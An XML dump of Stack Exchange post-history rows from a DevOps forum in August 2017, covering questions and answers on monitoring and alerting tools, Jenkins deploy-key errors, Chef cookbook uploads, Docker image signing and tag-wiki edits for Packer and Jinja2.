  <row Id="5888" PostHistoryTypeId="2" PostId="1869" RevisionGUID="d01acf7b-bf0a-4eb5-8806-ccc8cecdef51" CreationDate="2017-08-29T00:34:24.090" UserId="4116" Text="I am looking for a monitoring/alerting tool/system which can support very arbitrary data source and logic.&#xD;&#xA;&#xD;&#xA;(following is a made up example to more easily demonstrate my needs)&#xD;&#xA;&#xD;&#xA;I have a database where I can find out the query execution times for my clients(which are individual companies).  The query times are expected to vary greatly between clients, because of the data of each company.  I want to have an alert when the query time for a client is ?% over some median value from the past, and where I am comparing Monday's data against previous Mondays' data(I am being difficult for demonstration purpose).&#xD;&#xA;&#xD;&#xA;I want to avoid defining a separate alert for each company client.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I want to avoid defining a separate alert for each kind of query I want to monitor.&#xD;&#xA;&#xD;&#xA;I want to avoid having each source pre-push data to one central place.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would like to monitor some other things that has nothing to do with databases, and want to apply some entirely different logic for my alerts - e.g. some REST api call to some other system, or some ELK or time series data, or some hardware monitoring data.&#xD;&#xA;&#xD;&#xA;I am contemplating a custom solution, but want to see if there is already a solution out there that can meet some or more of my needs.  I have seen/used some monitoring solutions out there such as Nagios, though not an expert on those.  Will appreciate any pointers or recommendation.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5889" PostHistoryTypeId="1" PostId="1869" RevisionGUID="d01acf7b-bf0a-4eb5-8806-ccc8cecdef51" CreationDate="2017-08-29T00:34:24.090" UserId="4116" Text="monitoring/alerting system which can support very arbitrary data source and logic" ContentLicense="CC BY-SA 3.0" />
  <row Id="5890" PostHistoryTypeId="3" PostId="1869" RevisionGUID="d01acf7b-bf0a-4eb5-8806-ccc8cecdef51" CreationDate="2017-08-29T00:34:24.090" UserId="4116" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5891" PostHistoryTypeId="2" PostId="1870" RevisionGUID="972b5f3a-440f-4db5-8f63-2462d177da0d" CreationDate="2017-08-29T01:32:53.067" UserId="3752" Text="I would suggest [elastalert][1] as an alert system for elasticsearch, it has amazing capabilities, you can execute any query on elasticsearch and define an alarm depending on the response and it support multi ways for alert like sending email or slack or telegram, even execute specific commands.&#xD;&#xA;&#xD;&#xA;For monitor data in elasticsearch as you are already using ELK, you can use Kibana for monitoring not only for making elasticsearch query and create very valuable Dashboards&#xD;&#xA;&#xD;&#xA;For hardware and services I think Nagios do very good job there, but for more easy solution you can use [Monit][2] it's very easy to use and configure and can do a lot of jobs and service management, But the same as you are already using ELK, you can configure [metricbeat][3] to monitor the server (CPU, RAM, Disk usage, etc...)&#xD;&#xA;&#xD;&#xA;For me I think the best thing is to use ELK with all the integration that you need, that will allow you to more focus on, and centralize your monitoring and alerting systems  &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Yelp/elastalert&#xD;&#xA;  [2]: http://www.monitis.com/server-monitoring&#xD;&#xA;  [3]: https://www.elastic.co/downloads/beats/metricbeat" ContentLicense="CC BY-SA 3.0" />
  <row Id="5892" PostHistoryTypeId="2" PostId="1871" RevisionGUID="402e1b20-ad16-4d39-a18d-7d960422abe3" CreationDate="2017-08-29T03:06:50.150" UserId="2845" Text="Consider using something like [nagios](https://www.nagios.org/) or [Zabbix](https://www.zabbix.com/). While it might be nice to avoid custom queries and alerts, this is impossible. The odds of someone using your specific suite of tools in your configuration are slim-to-none - and the odds of having pre-canned monitoring for that suite in that specific configuration are even slimmer. Simply put, there is no way to avoid this custom monitoring. While monitoring, alerting and reporting management and configuration can be tedious, there is no easy shortcut for doing it properly and it's probably going to take more time, dedication and resources to do it properly than you think.&#xD;&#xA;&#xD;&#xA;Out of the 4 monitoring systems I have used extensively, I must recommend nagios - it seems to be the best suited for configuration management systems and most compatable with DevOps philosophy.&#xD;&#xA;&#xD;&#xA;It may sometimes be useful to use a system such as elastalert or similar systems as middleware for alerting/monitoring/reporting, but you will have to judge each situation/monitor on a case-by-case basis, but you will find these tools (and most monitoring systems) have some SDK, API or tool capable of helping you with your monitoring customization. Just choose the easiest to configure system with the lowest ROI and support cost and be sure to stick with it and follow your monitoring migration project to completion. Be sure to consider dedicated resources/personnel for this task if possible. " ContentLicense="CC BY-SA 3.0" />
  <row Id="5893" PostHistoryTypeId="2" PostId="1872" RevisionGUID="afe71f65-bd9e-4fdd-98f3-a010c5990453" CreationDate="2017-08-29T04:11:37.097" UserId="4117" Text="Using jenkins to pull from bitbucket repository, I got this error:&#xD;&#xA;&#xD;&#xA;&gt; git@bitbucket.org:source/source.git +refs/heads/*:refs/remotes/origin/*&quot; returned status code 128:&#xD;&#xA;stdout: &#xD;&#xA;stderr: repository access denied. deployment key is not associated with the requested repository.&#xD;&#xA;fatal: Could not read from remote repository.&#xD;&#xA;&#xD;&#xA;I have added ssh keys in the bitbucket repo, I have run ssh -v git@bitbucket.org and this is the output:&#xD;&#xA;&#xD;&#xA;&gt; authenticated via a deploy key.&#xD;&#xA;&#xD;&#xA;&gt; You can use git or hg to connect to Bitbucket. Shell access is disabled.&#xD;&#xA;&#xD;&#xA;&gt;This deploy key has read access to the following repositories:&#xD;&#xA;&#xD;&#xA;&gt;source/source: root.staging_quc -- root@QUICKRESPONSE&#xD;&#xA;debug1: channel 0: free: client-session, nchannels 1&#xD;&#xA;Connection to bitbucket.org closed.&#xD;&#xA;Transferred: sent 2968, received 1872 bytes, in 0.0 seconds&#xD;&#xA;Bytes per second: sent 82471.7, received 52017.2&#xD;&#xA;debug1: Exit status 0&#xD;&#xA;&#xD;&#xA;I don't really know what to do, hope you guys have any clue on this one I will update this question" ContentLicense="CC BY-SA 3.0" />
  <row Id="5894" PostHistoryTypeId="1" PostId="1872" RevisionGUID="afe71f65-bd9e-4fdd-98f3-a010c5990453" CreationDate="2017-08-29T04:11:37.097" UserId="4117" Text="Jenkins deployment key is not associated with the repository" ContentLicense="CC BY-SA 3.0" />
  <row Id="5895" PostHistoryTypeId="3" PostId="1872" RevisionGUID="afe71f65-bd9e-4fdd-98f3-a010c5990453" CreationDate="2017-08-29T04:11:37.097" UserId="4117" Text="&lt;jenkins&gt;&lt;ansible&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5896" PostHistoryTypeId="2" PostId="1873" RevisionGUID="066bc236-d9cf-434e-80d0-39ea335b6965" CreationDate="2017-08-29T04:54:40.460" UserId="3752" Text="First make sure that you added the public key to the right repo with the right permission, usually I add it to 'Access keys' so the user has read only permission, then to make sure that is working add the private key to you system so you can use it with using git:&#xD;&#xA;&#xD;&#xA;    ssh-add private-key&#xD;&#xA;    git clone &lt;your git repo&gt;&#xD;&#xA;&#xD;&#xA;If it's working, add those credential to you jenkins and use them later " ContentLicense="CC BY-SA 3.0" />
  <row Id="5897" PostHistoryTypeId="2" PostId="1874" RevisionGUID="6152991f-fe90-41a9-b6e5-8bf98055b4ca" CreationDate="2017-08-29T08:45:33.723" UserId="13" Text="Adding my brick to the list here, I'm at a point where updating continuously the monitoring system to add new instances and cleanup old ones is a pain.&#xD;&#xA;&#xD;&#xA;As such I've turn toward [prometeus](https://prometheus.io/) which works with a simple contract, an exporter does the collection job (could be the [cloudwatch_exporter][1] on AWS or when using [netdata][2] querying it (either a central one or each separately, but the latter lost the advantage of auto-discovery) (doc for the netdata part [here][3]) and there's also a node exporter from prometeus team.&#xD;&#xA;&#xD;&#xA;The main advantage behind prometheus is the use of [mathematics functions](https://prometheus.io/docs/querying/functions/) and grouping in the alert definition by label from the metric name. This allow to define alerts on various way, for my infrastructure monitoring I work with standard deviation or standard variance to avoid fixed level of alert on cpu usage, it alerts me if the stddev goes up by 20%.&#xD;&#xA;&#xD;&#xA;So for your case you could export your database or push the metrics to prometeus and assuming a metric name `client_queries` with the client name as the label `client` you could do something along the line of this (untested of course and just to illustrate):&#xD;&#xA;&#xD;&#xA;    ALERT ClientQueryDriftUp&#xD;&#xA;      IF avg(client_queries[5m]) &gt; avg(client_queries[5m] offset 1w) * 1.2&#xD;&#xA;      ANNOTATIONS {&#xD;&#xA;        summary = &quot;{{ $labels.client }} query has gone up over 20% of last week&quot;,&#xD;&#xA;        description = &quot;{{ $labels.client}} query average is high ! (current average value: {{ $value }}s)&quot;,&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;Or if you just want an alert if the difference between averages is over 1 second (assuming values are in milliseconds) you can use this IF condition:&#xD;&#xA;&#xD;&#xA;    abs(avg(client_queries[5m]) - avg(client_queries[5m] offset 1w)) &gt; 1000&#xD;&#xA;&#xD;&#xA;Of course this answer is just an overview on how it can tackle your problem and is far from exhaustive about it.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/prometheus/cloudwatch_exporter&#xD;&#xA;  [2]: https://github.com/firehol/netdata&#xD;&#xA;  [3]: https://github.com/firehol/netdata/wiki/Using-Netdata-with-Prometheus" ContentLicense="CC BY-SA 3.0" />
  <row Id="5898" PostHistoryTypeId="2" PostId="1875" RevisionGUID="ca996622-f11f-4b10-b9ca-ebefde0b903c" CreationDate="2017-08-29T12:29:42.613" UserId="4123" Text="I am using chef and trying to upload a cookbook on chef-server but getting an error in response `{&quot;error&quot;:[&quot;Invalid key all_files in request body&quot;]}`&#xD;&#xA;&#xD;&#xA;However, I can see the list of cookbook using `knife node list`&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="5899" PostHistoryTypeId="1" PostId="1875" RevisionGUID="ca996622-f11f-4b10-b9ca-ebefde0b903c" CreationDate="2017-08-29T12:29:42.613" UserId="4123" Text="Chef Error while uploading cookbook" ContentLicense="CC BY-SA 3.0" />
  <row Id="5900" PostHistoryTypeId="3" PostId="1875" RevisionGUID="ca996622-f11f-4b10-b9ca-ebefde0b903c" CreationDate="2017-08-29T12:29:42.613" UserId="4123" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5901" PostHistoryTypeId="2" PostId="1876" RevisionGUID="53b05b43-9f1e-45b3-b62e-b632c78d1ff0" CreationDate="2017-08-29T12:55:52.377" UserId="271" Text="The current organisation of the code and configuration you describe is structured by the technical solutions involved.  This is a bad design that will add a lot of overhead in our maintenance activities and will add a lot of traps in our way as well. Instead, that organisation should be structured around the [artefacts](https://devops.stackexchange.com/questions/466/what-is-an-artifact-or-artefact) we are deploying.&#xD;&#xA;&#xD;&#xA;The reason for this is that we want to consider artefacts (*e.g.* a docker image or a software package) as the subjects of the following verbs:&#xD;&#xA;&#xD;&#xA; * build&#xD;&#xA; * test&#xD;&#xA; * deploy&#xD;&#xA;&#xD;&#xA;to consider a minimal set of automated tasks we want to perform. If we want to change something about how the test verb is implemented, it is easy to visit the folder corresponding to that artefact in the appropriate repository and then discover the jenkins-specific automation items that needs to be updated.  Instead, if the automation recipes are structured around technical solutions, then we need to figure out of the blue that jenkins is involved in the test procedures and find there the artefact related automation items.  In complex situations, the organisation around technical solutions makes updates very hard, because we have to know a priori all the technical solutions involved in some service to update them accordingly.&#xD;&#xA;&#xD;&#xA;For instance a repository containing the code for a website and a micro-service “a” could have the following sub-directories dedicated to operations:&#xD;&#xA;&#xD;&#xA;    ./ops/website&#xD;&#xA;    ./ops/micro-service-a&#xD;&#xA;&#xD;&#xA;each having three scripts called `build`, `test` and `deploy`.  Now that the organisation of automation items has somehow been clarified, let's turn our attention to configuration.&#xD;&#xA;&#xD;&#xA;The main conditions and requirements about the configuration organisation are set by the `deploy` verb when applied on a service-like artefact.  The `deploy` verb should have the following parameters:&#xD;&#xA;&#xD;&#xA; * the version of the artefact to deploy,&#xD;&#xA; * the deployment target of the artefact, which describes the concrete environment where the deployed artefact will run (*e.g.* a cluster and endpoints it should talk to)&#xD;&#xA; * the credentials it should use to connect to other endpoints (*e.g.* databases)&#xD;&#xA; * the runtime configuration of (like how long cache entries should live, etc.)&#xD;&#xA;&#xD;&#xA;From the operational perspective, this breakdown of the parametrisation matches the natural degrees of freedom of the deployment problem – aside from the credentials that could be bundled with the runtime configuration, but it is better to separate them to avoid spreading them carelessly.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5902" PostHistoryTypeId="5" PostId="1876" RevisionGUID="47ee3cb8-2111-49f9-85ab-8ee1ec1e7a2f" CreationDate="2017-08-29T13:06:48.840" UserId="271" Comment="deleted 1 character in body" Text="The current organisation of the code and configuration you describe is structured by the technical solutions involved.  This is a bad design that will add a lot of overhead in our maintenance activities and will add a lot of traps in our way as well. Instead, that organisation should be structured around the [artefacts](https://devops.stackexchange.com/questions/466/what-is-an-artifact-or-artefact) we are deploying.&#xD;&#xA;&#xD;&#xA;The reason for this is that we want to consider artefacts (*e.g.* a docker image or a software package) as the objects of the following verbs:&#xD;&#xA;&#xD;&#xA; * build&#xD;&#xA; * test&#xD;&#xA; * deploy&#xD;&#xA;&#xD;&#xA;to consider a minimal set of automated tasks we want to perform. If we want to change something about how the test verb is implemented, it is easy to visit the folder corresponding to that artefact in the appropriate repository and then discover the jenkins-specific automation items that needs to be updated.  Instead, if the automation recipes are structured around technical solutions, then we need to figure out of the blue that jenkins is involved in the test procedures and find there the artefact related automation items.  In complex situations, the organisation around technical solutions makes updates very hard, because we have to know a priori all the technical solutions involved in some service to update them accordingly.&#xD;&#xA;&#xD;&#xA;For instance a repository containing the code for a website and a micro-service “a” could have the following sub-directories dedicated to operations:&#xD;&#xA;&#xD;&#xA;    ./ops/website&#xD;&#xA;    ./ops/micro-service-a&#xD;&#xA;&#xD;&#xA;each having three scripts called `build`, `test` and `deploy`.  Now that the organisation of automation items has somehow been clarified, let's turn our attention to configuration.&#xD;&#xA;&#xD;&#xA;The main conditions and requirements about the configuration organisation are set by the `deploy` verb when applied on a service-like artefact.  The `deploy` verb should have the following parameters:&#xD;&#xA;&#xD;&#xA; * the version of the artefact to deploy,&#xD;&#xA; * the deployment target of the artefact, which describes the concrete environment where the deployed artefact will run (*e.g.* a cluster and endpoints it should talk to)&#xD;&#xA; * the credentials it should use to connect to other endpoints (*e.g.* databases)&#xD;&#xA; * the runtime configuration of (like how long cache entries should live, etc.)&#xD;&#xA;&#xD;&#xA;From the operational perspective, this breakdown of the parametrisation matches the natural degrees of freedom of the deployment problem – aside from the credentials that could be bundled with the runtime configuration, but it is better to separate them to avoid spreading them carelessly.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5903" PostHistoryTypeId="5" PostId="1875" RevisionGUID="5e3ec35a-50b9-441b-a91e-0ea81073d9d4" CreationDate="2017-08-29T13:48:07.390" UserId="4123" Comment="added 515 characters in body" Text="I am using chef and trying to upload a cookbook on chef-server but getting an error in response `{&quot;error&quot;:[&quot;Invalid key all_files in request body&quot;]}`&#xD;&#xA;&#xD;&#xA;However, I can see the list of cookbook using `knife node list`&#xD;&#xA;&#xD;&#xA;My chefDK version:&#xD;&#xA;`chef -v&#xD;&#xA;Chef Development Kit Version: 2.0.28&#xD;&#xA;chef-client version: 13.2.20&#xD;&#xA;delivery version: master (17c1b0fed9be4c70f69091a6d21a4cbf0df60a23)&#xD;&#xA;berks version: 6.2.0&#xD;&#xA;kitchen version: 1.16.0&#xD;&#xA;inspec version: 1.31.1`&#xD;&#xA;&#xD;&#xA;Chef-server version is `12.0.5`&#xD;&#xA;&#xD;&#xA;Logs:&#xD;&#xA;`DEBUG: Response body contains:&#xD;&#xA;{&quot;error&quot;:[&quot;Invalid key all_files in request body&quot;]}&#xD;&#xA;DEBUG: Chef::HTTP calling Chef::HTTP::JSONInput#handle_response`&#xD;&#xA;&#xD;&#xA;I can't upload more logs, if one needs particular info then I can provide.&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="5904" PostHistoryTypeId="2" PostId="1877" RevisionGUID="e0679c27-c669-4978-8446-b76c65e39842" CreationDate="2017-08-29T15:27:28.883" UserId="4126" Text="With respect to [docker's security system](https://docs.docker.com/engine/security/trust/trust_key_mng/).&#xD;&#xA;&#xD;&#xA;Is it possible to somehow sign an image with a some entity that has trust from a company's CA-cert and to then find out who signed the image?&#xD;&#xA;&#xD;&#xA;It seems like DTR, and notary in general, has a binary mode of trust: either and image is signed or it is not, but not qualified by who.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5905" PostHistoryTypeId="1" PostId="1877" RevisionGUID="e0679c27-c669-4978-8446-b76c65e39842" CreationDate="2017-08-29T15:27:28.883" UserId="4126" Text="Docker Sign an Image with an existing Certificate" ContentLicense="CC BY-SA 3.0" />
  <row Id="5906" PostHistoryTypeId="3" PostId="1877" RevisionGUID="e0679c27-c669-4978-8446-b76c65e39842" CreationDate="2017-08-29T15:27:28.883" UserId="4126" Text="&lt;docker&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5907" PostHistoryTypeId="5" PostId="1877" RevisionGUID="a5a422e7-eabb-4107-aded-7cf1fcfe0766" CreationDate="2017-08-29T15:51:29.760" UserId="47" Comment="improved readability" Text="With respect to [docker's security system](https://docs.docker.com/engine/security/trust/trust_key_mng/).&#xD;&#xA;&#xD;&#xA;Is it possible to somehow get images signed by some entity that has trust from a company's CA-cert and then be able to find out who signed the image?&#xD;&#xA;&#xD;&#xA;It seems like [Docket Trust Registry (DTR)][1], and [Notary][2] in general, have a binary mode of trust: either an image is signed or it is not, but it is not qualified by who performed the signing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/datacenter/dtr/2.2/guides/&#xD;&#xA;  [2]: https://docs.docker.com/notary/getting_started/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5908" PostHistoryTypeId="5" PostId="1875" RevisionGUID="9a56a2fc-4137-447c-ac54-e77f7f4c2746" CreationDate="2017-08-29T15:53:25.863" UserId="47" Comment="improved formatting" Text="I am using chef and trying to upload a cookbook on chef-server but getting an error in response:&#xD;&#xA;&#xD;&#xA;&gt; {&quot;error&quot;:[&quot;Invalid key all_files in request body&quot;]}&#xD;&#xA;&#xD;&#xA;However, I can see the list of cookbook using `knife node list`&#xD;&#xA;&#xD;&#xA;My chefDK version:&#xD;&#xA;&#xD;&#xA;    chef -v&#xD;&#xA;    Chef Development Kit Version: 2.0.28&#xD;&#xA;    chef-client version: 13.2.20&#xD;&#xA;    delivery version: master (17c1b0fed9be4c70f69091a6d21a4cbf0df60a23)&#xD;&#xA;    berks version: 6.2.0&#xD;&#xA;    kitchen version: 1.16.0&#xD;&#xA;    inspec version: 1.31.1&#xD;&#xA;&#xD;&#xA;Chef-server version is `12.0.5`&#xD;&#xA;&#xD;&#xA;Logs:&#xD;&#xA;&#xD;&#xA;    DEBUG: Response body contains:&#xD;&#xA;    {&quot;error&quot;:[&quot;Invalid key all_files in request body&quot;]}&#xD;&#xA;    DEBUG: Chef::HTTP calling Chef::HTTP::JSONInput#handle_response&#xD;&#xA;&#xD;&#xA;I can't upload more logs, if one needs particular info then I can provide.&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="5909" PostHistoryTypeId="5" PostId="1179" RevisionGUID="0152743f-8c7e-4f5b-9f23-5bd23bffa286" CreationDate="2017-08-29T16:20:23.703" UserId="40" Comment="deleted 3 characters in body" Text="My company has a system we sell that consists of basically a mini-computer &quot;Smartbox&quot; that is running Ubuntu 12.04. This box runs a Django application plus a number of different upstart processes related to it. Not much else. We have thousands of these boxes out on the field. We manage the package dependencies, process registration, etc. through a deb package with varying degrees of success.&#xD;&#xA;&#xD;&#xA;We need a way to efficiently and robustly push updates out to our users out in the field. We also need something that as we upgrade the OS (we are way overdue for a Ubuntu upgrade as you can tell) we can feel relatively secure about our packages &quot;just working&quot;.&#xD;&#xA;&#xD;&#xA;I don't know much about Docker, but when I first heard about our problem (I'm a new hire), Docker was my first thought. But the more I thought about it I felt like maybe it wasn't, as these boxes are ours we control the OS on it which is a big part of the value proposition of Docker, or so I understand. So if we KNOW our boxes will always be Ubuntu and we basically just have a Django app plus some processes to run, is Docker any better than a deb package?&#xD;&#xA;&#xD;&#xA;TL;DR: Docker vs deb packages for a distributed appliance that will always run Ubuntu so platform independence is not that important." ContentLicense="CC BY-SA 3.0" />
  <row Id="5910" PostHistoryTypeId="5" PostId="986" RevisionGUID="ee4d07d9-67cc-47d7-bcfe-784125c73138" CreationDate="2017-08-29T16:21:03.080" UserId="40" Comment="deleted 27 characters in body" Text="I've been interested in converting our bespoke Jenkins integrations into a pipeline. However, I can't seem to figure out how to do it.&#xD;&#xA;&#xD;&#xA;Can anyone help me with the Jenkins script that could do the following?&#xD;&#xA;&#xD;&#xA;    1---2---3-----------9---10&#xD;&#xA;        |           |&#xD;&#xA;        |---4-------|&#xD;&#xA;        |           |&#xD;&#xA;        |---5---6---|&#xD;&#xA;            |       |&#xD;&#xA;            |---7---|&#xD;&#xA;    &#xD;&#xA;    1: Start pipeline&#xD;&#xA;    10: End pipeline&#xD;&#xA;    5: Build some files&#xD;&#xA;       * needed by 6, 7,&#xD;&#xA;       * needed as artifacts at the end&#xD;&#xA;    2, 3, 4, 6, 7: Have jUnit result files, should be available at end of&#xD;&#xA;       test (somewhere), even if one failed&#xD;&#xA;&#xD;&#xA;Is this even possible? Or should I just join after 3, 4, 5? Like this:&#xD;&#xA;&#xD;&#xA;    1---2---3-------6-------9---10&#xD;&#xA;        |       |   |   |&#xD;&#xA;        |---4---|   7---|&#xD;&#xA;        |       |&#xD;&#xA;        |---5---|&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5911" PostHistoryTypeId="5" PostId="1877" RevisionGUID="2f421e50-c9d4-4b93-baa3-09edbf2d81f8" CreationDate="2017-08-29T17:04:30.800" UserId="210" Comment="added 2 characters in body" Text="With respect to [docker's security system](https://docs.docker.com/engine/security/trust/trust_key_mng/).&#xD;&#xA;&#xD;&#xA;Is it possible to somehow get images signed by some entity that has trust from a company's CA-cert and then be able to find out who signed the image?&#xD;&#xA;&#xD;&#xA;It seems like [Docker Trusted Registry (DTR)][1], and [Notary][2] in general, have a binary mode of trust: either an image is signed or it is not, but it is not qualified by who performed the signing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/datacenter/dtr/2.2/guides/&#xD;&#xA;  [2]: https://docs.docker.com/notary/getting_started/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5914" PostHistoryTypeId="2" PostId="1878" RevisionGUID="01b8a609-ada9-4608-a288-ced405fee670" CreationDate="2017-08-29T17:28:37.783" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5915" PostHistoryTypeId="1" PostId="1878" RevisionGUID="01b8a609-ada9-4608-a288-ced405fee670" CreationDate="2017-08-29T17:28:37.783" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5916" PostHistoryTypeId="2" PostId="1879" RevisionGUID="6a7f60fa-149e-4edd-a8a3-aef2cb51f2f7" CreationDate="2017-08-29T17:28:37.783" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5917" PostHistoryTypeId="1" PostId="1879" RevisionGUID="6a7f60fa-149e-4edd-a8a3-aef2cb51f2f7" CreationDate="2017-08-29T17:28:37.783" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5918" PostHistoryTypeId="2" PostId="1880" RevisionGUID="aa46bf68-dd98-4b55-999a-166dd0759dac" CreationDate="2017-08-29T17:30:40.413" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5919" PostHistoryTypeId="1" PostId="1880" RevisionGUID="aa46bf68-dd98-4b55-999a-166dd0759dac" CreationDate="2017-08-29T17:30:40.413" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5920" PostHistoryTypeId="2" PostId="1881" RevisionGUID="7b282591-290f-419b-9797-a22d9a3ce3a3" CreationDate="2017-08-29T17:30:40.413" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5921" PostHistoryTypeId="1" PostId="1881" RevisionGUID="7b282591-290f-419b-9797-a22d9a3ce3a3" CreationDate="2017-08-29T17:30:40.413" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5922" PostHistoryTypeId="2" PostId="1882" RevisionGUID="b3d5e536-a4ff-4c8b-8296-8193370ac9df" CreationDate="2017-08-29T17:40:19.333" UserId="3295" Text="We use Datadog's anomaly detection for this purpose:&#xD;&#xA;&#xD;&#xA;https://www.datadoghq.com/blog/introducing-anomaly-detection-datadog/&#xD;&#xA;&#xD;&#xA;We push custom metrics which in your case would be something like query execution time tagged by client name, and you can create a single Multi monitor that would alert based on anomalous behavior on this metric." ContentLicense="CC BY-SA 3.0" />
  <row Id="5923" PostHistoryTypeId="6" PostId="1849" RevisionGUID="79ac572d-e41d-46ad-983b-302de72720c5" CreationDate="2017-08-29T17:49:25.213" UserId="739" Comment="add templating tag" Text="&lt;templating&gt;&lt;jira&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5924" PostHistoryTypeId="24" PostId="1849" RevisionGUID="79ac572d-e41d-46ad-983b-302de72720c5" CreationDate="2017-08-29T17:49:25.213" Comment="Proposed by 739 approved by 40, 47 edit id of 424" ContentLicense="CC BY-SA 3.0" />
  <row Id="5925" PostHistoryTypeId="5" PostId="1881" RevisionGUID="46255c45-6d19-4ebc-86a8-2f6a21d2e0a7" CreationDate="2017-08-29T17:59:34.410" UserId="739" Comment="added 217 characters in body" Text="Packer automates the creation of any type of machine image. It embraces modern configuration management by encouraging you to use automated scripts to install and configure the software within your Packer-made images." ContentLicense="CC BY-SA 3.0" />
  <row Id="5926" PostHistoryTypeId="24" PostId="1881" RevisionGUID="46255c45-6d19-4ebc-86a8-2f6a21d2e0a7" CreationDate="2017-08-29T17:59:34.410" Comment="Proposed by 739 approved by 46 edit id of 428" ContentLicense="CC BY-SA 3.0" />
  <row Id="5927" PostHistoryTypeId="5" PostId="1878" RevisionGUID="26a78f33-fe87-4696-92c5-f5ac4a8066f6" CreationDate="2017-08-29T17:59:36.807" UserId="739" Comment="added 212 characters in body" Text="Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.&#xD;&#xA;&#xD;&#xA;* [main site](http://jinja.pocoo.org/)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5928" PostHistoryTypeId="24" PostId="1878" RevisionGUID="26a78f33-fe87-4696-92c5-f5ac4a8066f6" CreationDate="2017-08-29T17:59:36.807" Comment="Proposed by 739 approved by 47, 46 edit id of 425" ContentLicense="CC BY-SA 3.0" />
  <row Id="5929" PostHistoryTypeId="5" PostId="1880" RevisionGUID="f67edbf6-8028-443c-aac9-791024bf6e11" CreationDate="2017-08-29T17:59:39.430" UserId="739" Comment="added 258 characters in body" Text="Packer automates the creation of any type of machine image. It embraces modern configuration management by encouraging you to use automated scripts to install and configure the software within your Packer-made images.&#xD;&#xA;&#xD;&#xA;* [main site](https://www.packer.io/)" ContentLicense="CC BY-SA 3.0" />
  <row Id="5930" PostHistoryTypeId="24" PostId="1880" RevisionGUID="f67edbf6-8028-443c-aac9-791024bf6e11" CreationDate="2017-08-29T17:59:39.430" Comment="Proposed by 739 approved by 47, 46 edit id of 427" ContentLicense="CC BY-SA 3.0" />
  <row Id="5931" PostHistoryTypeId="5" PostId="1879" RevisionGUID="307946ce-e6c2-4231-9afe-5d90101df0c7" CreationDate="2017-08-29T17:59:42.057" UserId="739" Comment="added 168 characters in body" Text="Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed." ContentLicense="CC BY-SA 3.0" />
  <row Id="5932" PostHistoryTypeId="24" PostId="1879" RevisionGUID="307946ce-e6c2-4231-9afe-5d90101df0c7" CreationDate="2017-08-29T17:59:42.057" Comment="Proposed by 739 approved by 47, 46 edit id of 426" ContentLicense="CC BY-SA 3.0" />
  <row Id="5933" PostHistoryTypeId="2" PostId="1883" RevisionGUID="5d221fef-b34e-4c6c-b273-313a44879f61" CreationDate="2017-08-29T20:25:40.090" UserId="4129" Text="We are currently using remote_file with source as an array. This allows us to check multiple servers for the file we want, in case the primary server is down.&#xD;&#xA;&#xD;&#xA;We want to log which source remote_file ended up downloading the file from. I assume the log resource would be used, but I'm not sure how to find out which one of the provided sources were used by remote_file.&#xD;&#xA;&#xD;&#xA;Super simplified example&#xD;&#xA;&#xD;&#xA;    urlArray = ['google.com','reddit.com','stackexchange.com']&#xD;&#xA;    remote_file 'foo' do&#xD;&#xA;       source urlArray&#xD;&#xA;       notifies :write, 'Downloaded from: #{sourceUsed}', :immediate&#xD;&#xA;    end&#xD;&#xA;    log 'Downloaded from: #{sourceUsed}' do&#xD;&#xA;        action :nothing&#xD;&#xA;    end" ContentLicense="CC BY-SA 3.0" />
  <row Id="5934" PostHistoryTypeId="1" PostId="1883" RevisionGUID="5d221fef-b34e-4c6c-b273-313a44879f61" CreationDate="2017-08-29T20:25:40.090" UserId="4129" Text="Chef - Logging the source of remote file when using array" ContentLicense="CC BY-SA 3.0" />
  <row Id="5935" PostHistoryTypeId="3" PostId="1883" RevisionGUID="5d221fef-b34e-4c6c-b273-313a44879f61" CreationDate="2017-08-29T20:25:40.090" UserId="4129" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5936" PostHistoryTypeId="6" PostId="1872" RevisionGUID="00c2b79b-b789-4f3c-b408-cc1528b543e7" CreationDate="2017-08-29T23:44:06.380" UserId="4115" Comment="Removed ansible tag" Text="&lt;jenkins&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
